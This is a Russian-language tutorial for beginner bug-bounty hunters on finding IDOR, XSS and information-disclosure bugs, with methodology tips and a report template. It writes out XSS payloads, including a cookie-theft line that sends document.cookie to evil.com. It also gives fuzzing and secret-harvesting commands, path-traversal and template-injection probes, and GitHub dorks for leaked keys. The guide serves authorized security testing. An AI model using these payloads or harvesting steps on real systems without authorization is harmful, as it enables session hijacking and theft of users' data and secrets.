Какие уязвимости искать первыми: IDOR, XSS, Info Disclosure
Привет, падаван. Сегодня не философия - сегодня практика. Ты только зашёл в баг-баунти и не знаешь, куда тыкать Burp'ом? Вот три класса багов, с которых начинает каждый умный хантер. Не потому что просто - а потому что они везде. 💻🔍
Почему именно эти три?
Большинство новичков идут ломать OAuth или SSRF и через месяц уходят, потому что «ничего не нашли». IDOR, XSS и Info Disclosure - это beginner-friendly с реальными выплатами. Они встречаются в 80% программ, не требуют 0day-мозгов и отлично тренируют методологию. Плюс - по ним море публичных write-up'ов, учись на чужих ошибках.
🔑 IDOR — твой лучший друг
Insecure Direct Object Reference - это когда приложение говорит тебе: «Эй, вот объект с ID=1337, держи» - и не проверяет, твой ли это объект.
Точка входа
Любой запрос с числовым или предсказуемым идентификатором:
GET /api/invoices/1042
GET /profile?user_id=5589
POST /download {"file_id": "report_007"}
Вектор атаки
- Логинишься под User A, перехватываешь запрос в Burp Suite
- Меняешь
user_id=5589наuser_id=5590(это уже User B) - Получаешь чужие данные → High/Critical
Лайфхаки
- Создай два аккаунта на таргете - это мастхэв для IDOR-охоты
- Ищи не только GET, но и PATCH/DELETE - там бывает IDOR с деструктивным импактом (удаление чужого аккаунта = Critical 💣)
- UUID вместо цифр? Не сдавайся - иногда UUID утекают в другом эндпоинте (Info Disclosure → IDOR, красивая цепочка)
- Проверяй горизонтальный (другой юзер) и вертикальный (юзер → админ) прив-эск
# Быстрый фазз через ffuf
ffuf -u https://target.com/api/user/FUZZ -w ids.txt -H "Cookie: session=твой_токен"
⚡ Impact для репорта: доступ к PII другого пользователя - это минимум Medium, а чаще High. Если там финансовые данные - Critical без разговоров.
💥 XSS - классика, которая не умирает
Cross-Site Scripting - ты заставляешь браузер жертвы выполнить твой JavaScript. Звучит просто, но в правильных руках это угон сессий, фишинг прямо на домене компании и обход CSP.
Три типа - три тактики
|
Тип |
Где живёт |
Как искать |
|
Reflected |
URL-параметры, поиск |
?q=<script>alert(1)</script> |
|
Stored |
Комменты, профили, чаты |
Сохранить payload, открыть другим юзером |
|
DOM-based |
JS-код на клиенте |
Ищи document.write, innerHTML, location.hash |
Точка входа
https://target.com/search?q=кроссовки
↑ сюда суём payload
Базовый арсенал payload'ов
// Классика для проверки
<script>alert(document.domain)</script>
// Если фильтруют теги
"><img src=x onerror=alert(1)>
'><svg onload=alert(1)>
// Обход кавычек
javascript:alert`1`
// Реальный impact — кража куки
<script>fetch('https://evil.com/?c='+document.cookie)</script>
DOM XSS - ищем в JS
// Опасные sink'и, grep по исходнику:
document.write(...)
element.innerHTML = ...
location.href = ...
eval(...)
setTimeout("строка", ...)
🔍 Burp Suite Tip: включи Passive Scan и DOM Invader (в Burp Browser) - он автоматически находит DOM-sink'и и подставляет canary-токены. Работает лучше, чем руками.
🕵️ Info Disclosure - разведка перед штурмом
Information Disclosure - это когда приложение само рассказывает тебе то, что не должно. Отдельно может быть Low, но как стартовая точка для цепочки -бесценно.
Где искать
- Заголовки HTTP-ответов
Server: Apache/2.4.49 ← версия с CVE? Привет!
X-Powered-By: PHP/7.2.0 ← устаревшая PHP с RCE-историей
X-AspNet-Version: 4.0.30319
- JS-файлы и исходники
# Собираем JS с таргета
gau target.com | grep "\.js$" | httpx -silent > js_files.txt
# Ищем секреты
cat js_files.txt | xargs -I{} curl -s {} | grep -Ei "api_key|secret|password|token|aws"
- Директории и бэкапы
# ffuf по стандартным путям
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Классика, которую забывают проверить:
/.git/config
/.env
/backup.zip
/config.php.bak
/api/swagger.json ← JACKPOT 🎰
- Сообщения об ошибках
Сунь невалидный input -',",{{7*7}},../../../etc/passwd. Stack trace в ответе = Info Disclosure + потенциальный вектор дальше.
- GitHub разведка
site:github.com "target.com" "api_key"
site:github.com "target.com" password
💡 Цепочка мечты: нашёл /api/swagger.json → увидел скрытые эндпоинты → нашёл IDOR → High severity. Вот так Info Disclosure превращается в деньги.
📋 Как оформить репорт, чтобы не словить N/A
Формула простая - VITA:
- Vulnerability - что нашёл (IDOR в
/api/orders/{id}) - Impact - что это значит (любой авторизованный юзер читает заказы других)
- To Reproduce - шаги 1-2-3, скриншоты, curl-команды
- Attachment - Burp-запрос, видео, PoC-код
Title: IDOR in /api/v1/orders/{order_id} allows access to other users' orders
Steps:
1. Login as user_a@test.com
2. Place an order, capture request: GET /api/v1/orders/10042
3. Change order_id to 10041 (belongs to user_b@test.com)
4. Response returns full order details of another user
Impact: Any authenticated user can access PII and order history of all users.🗺️ С чего начать прямо сейчас
- Burp Suite - перехватывай всё, смотри каждый запрос с глазами параноика
- Регайся на Standoff365/Bi.ZONE, выбирай программы с широким scope
- Первая неделя - только Info Disclosure + IDOR: реконь, собирай JS, смотри ID'шники
- Вторая неделя - подключай XSS: каждое поле ввода - твой полигон
- Читай публичные write-up'ы на HackerOne Hacktivity каждый день - это лучшая школа
Запомни: не надо ломать OAuth в первый месяц. Найди IDOR в чужом инвойсе - и ты уже не новичок, ты хантер с первым репортом. Погнали! 🚀
